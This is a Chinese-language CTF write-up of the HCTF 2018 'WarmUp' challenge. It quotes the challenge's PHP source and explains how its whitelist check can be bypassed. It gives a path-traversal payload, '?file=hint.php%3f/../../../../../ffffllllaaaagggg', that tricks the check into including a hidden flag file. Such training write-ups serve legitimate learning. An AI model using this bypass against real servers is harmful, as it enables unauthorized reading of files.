[HCTF 2018]WarmUp wp
[HCTF 2018]WarmUp wp
从源码发现有个source.php的文件
进入发现是代码审计
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
前面一大段都是定义的类,只有后面的一小部分是解题关键
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
获取一个参数file,要满足是字符串,而且经过checkfile函数返回true才能实现文件包含,否则就发出黄黄表情
所以我们去看那一大段的类
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
首先先定义了一个白名单,然后in_array来判断传入的参数page是不是在白名单内,
这里如果page在,那么文件包含没什么意义,如果page不在,那么就会往下走,所以我们继续往下看
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
往下去就是两个判断?前的值是不是在白名单里的,如果是,返回true
如果第一个没成功,就解码再判断一次
但是这题我们可以在第一次判断时就成功
hint.php中有我们要包含的文件
因为是判断?之前的我们可以
?file=hint.php%3f/../../../../../ffffllllaaaagggg
经过解码就会把hint.php单拎出来,就会通过白名单
当然,我们也可以经过两次编码,过第二次编码也行
获得flag